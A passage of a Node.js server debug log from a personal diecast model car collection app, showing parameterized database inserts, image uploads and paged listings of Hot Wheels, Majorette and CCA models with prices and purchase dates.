      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:41:11.459Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T04:41:11.459Z server-connect:app Executing action step identify
2026-02-04T04:41:11.459Z server-connect:app options: { provider: 'security' }
2026-02-04T04:41:11.459Z server-connect:output identity: 1
2026-02-04T04:41:11.459Z server-connect:app Executing action step restrict
2026-02-04T04:41:11.459Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:41:11.461Z server-connect:output restrict: undefined
2026-02-04T04:41:11.461Z server-connect:app Executing action step condition
2026-02-04T04:41:11.461Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T04:41:11.461Z server-connect:app Executing action step insert
2026-02-04T04:41:11.461Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T04:41:11.462Z server-connect:output insert: { affected: 1, identity: 145 }
2026-02-04T04:41:11.462Z server-connect:app Executing action step condition
2026-02-04T04:41:11.462Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T04:41:11.462Z server-connect:app Executing action step upload
2026-02-04T04:41:11.462Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T04:41:11.462Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T04:41:11.462Z server-connect:upload Process fields: 'images[]'
2026-02-04T04:41:11.462Z server-connect:upload Processing file: {
  name: 'ID077059_uWs7Pe6UPvOx.png',
  data: <Buffer >,
  size: 1453000,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-12-20378841770180071453',
  truncated: false,
  mimetype: 'image/png',
  md5: 'cb4e42993c28e69a237dc8d5ecd33603',
  mv: [Function: mv]
}
2026-02-04T04:41:11.463Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID077059_uWs7Pe6UPvOx_22165579-a20c-40ad-b572-5ba7ee382dca.png',
  rel: 'public/assets/images/diecast/ID077059_uWs7Pe6UPvOx_22165579-a20c-40ad-b572-5ba7ee382dca.png'
}
2026-02-04T04:41:11.463Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID077059_uWs7Pe6UPvOx_22165579-a20c-40ad-b572-5ba7ee382dca.png',
  rel: 'assets/images/diecast/ID077059_uWs7Pe6UPvOx_22165579-a20c-40ad-b572-5ba7ee382dca.png'
}
2026-02-04T04:41:11.463Z server-connect:output upload_image: [
  {
    name: 'ID077059_uWs7Pe6UPvOx_22165579-a20c-40ad-b572-5ba7ee382dca.png',
    path: '/public/assets/images/diecast/ID077059_uWs7Pe6UPvOx_22165579-a20c-40ad-b572-5ba7ee382dca.png',
    url: '/assets/images/diecast/ID077059_uWs7Pe6UPvOx_22165579-a20c-40ad-b572-5ba7ee382dca.png',
    type: 'image/png',
    size: 1453000
  }
]
2026-02-04T04:41:11.463Z server-connect:app Executing action step repeat
2026-02-04T04:41:11.463Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T04:41:11.463Z server-connect:app Executing action step insert
2026-02-04T04:41:11.463Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T04:41:11.463Z server-connect:output images: { affected: 1, identity: 163 }
2026-02-04T04:41:11.463Z server-connect:output repeat_images: [ {} ]
2026-02-04T04:41:11.463Z server-connect:output condition: undefined
2026-02-04T04:41:11.463Z server-connect:output condition: undefined
2026-02-04T04:41:11.675Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:41:11.675Z server-connect:app Executing action step identify
2026-02-04T04:41:11.675Z server-connect:app options: { provider: 'security' }
2026-02-04T04:41:11.676Z server-connect:output identity: 1
2026-02-04T04:41:11.676Z server-connect:app Executing action step restrict
2026-02-04T04:41:11.676Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:41:11.676Z server-connect:output restrict: undefined
2026-02-04T04:41:11.676Z server-connect:app Executing action step paged
2026-02-04T04:41:11.676Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:41:11.679Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 127,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:41:59.141Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T04:41:59.143Z server-connect:app Executing action step identify
2026-02-04T04:41:59.143Z server-connect:app options: { provider: 'security' }
2026-02-04T04:41:59.143Z server-connect:output identity: 1
2026-02-04T04:41:59.143Z server-connect:app Executing action step restrict
2026-02-04T04:41:59.143Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:41:59.144Z server-connect:output restrict: undefined
2026-02-04T04:41:59.144Z server-connect:app Executing action step condition
2026-02-04T04:41:59.144Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T04:41:59.144Z server-connect:app Executing action step insert
2026-02-04T04:41:59.144Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T04:41:59.145Z server-connect:output insert: { affected: 1, identity: 146 }
2026-02-04T04:41:59.145Z server-connect:app Executing action step condition
2026-02-04T04:41:59.145Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T04:41:59.145Z server-connect:app Executing action step upload
2026-02-04T04:41:59.145Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T04:41:59.145Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T04:41:59.145Z server-connect:upload Process fields: 'images[]'
2026-02-04T04:41:59.145Z server-connect:upload Processing file: {
  name: 'ID077763_JEXDAN3t5pvB.jpeg',
  data: <Buffer >,
  size: 132746,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-13-20378841770180119129',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '8b9e02e836a310009d70987506198aed',
  mv: [Function: mv]
}
2026-02-04T04:41:59.145Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID077763_JEXDAN3t5pvB_c5306847-97eb-450b-9056-dd5d18083092.jpeg',
  rel: 'public/assets/images/diecast/ID077763_JEXDAN3t5pvB_c5306847-97eb-450b-9056-dd5d18083092.jpeg'
}
2026-02-04T04:41:59.145Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID077763_JEXDAN3t5pvB_c5306847-97eb-450b-9056-dd5d18083092.jpeg',
  rel: 'assets/images/diecast/ID077763_JEXDAN3t5pvB_c5306847-97eb-450b-9056-dd5d18083092.jpeg'
}
2026-02-04T04:41:59.145Z server-connect:output upload_image: [
  {
    name: 'ID077763_JEXDAN3t5pvB_c5306847-97eb-450b-9056-dd5d18083092.jpeg',
    path: '/public/assets/images/diecast/ID077763_JEXDAN3t5pvB_c5306847-97eb-450b-9056-dd5d18083092.jpeg',
    url: '/assets/images/diecast/ID077763_JEXDAN3t5pvB_c5306847-97eb-450b-9056-dd5d18083092.jpeg',
    type: 'image/jpeg',
    size: 132746
  }
]
2026-02-04T04:41:59.145Z server-connect:app Executing action step repeat
2026-02-04T04:41:59.145Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T04:41:59.145Z server-connect:app Executing action step insert
2026-02-04T04:41:59.145Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T04:41:59.146Z server-connect:output images: { affected: 1, identity: 164 }
2026-02-04T04:41:59.146Z server-connect:output repeat_images: [ {} ]
2026-02-04T04:41:59.146Z server-connect:output condition: undefined
2026-02-04T04:41:59.146Z server-connect:output condition: undefined
2026-02-04T04:41:59.372Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:41:59.372Z server-connect:app Executing action step identify
2026-02-04T04:41:59.372Z server-connect:app options: { provider: 'security' }
2026-02-04T04:41:59.372Z server-connect:output identity: 1
2026-02-04T04:41:59.372Z server-connect:app Executing action step restrict
2026-02-04T04:41:59.372Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:41:59.373Z server-connect:output restrict: undefined
2026-02-04T04:41:59.373Z server-connect:app Executing action step paged
2026-02-04T04:41:59.373Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:41:59.375Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 128,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
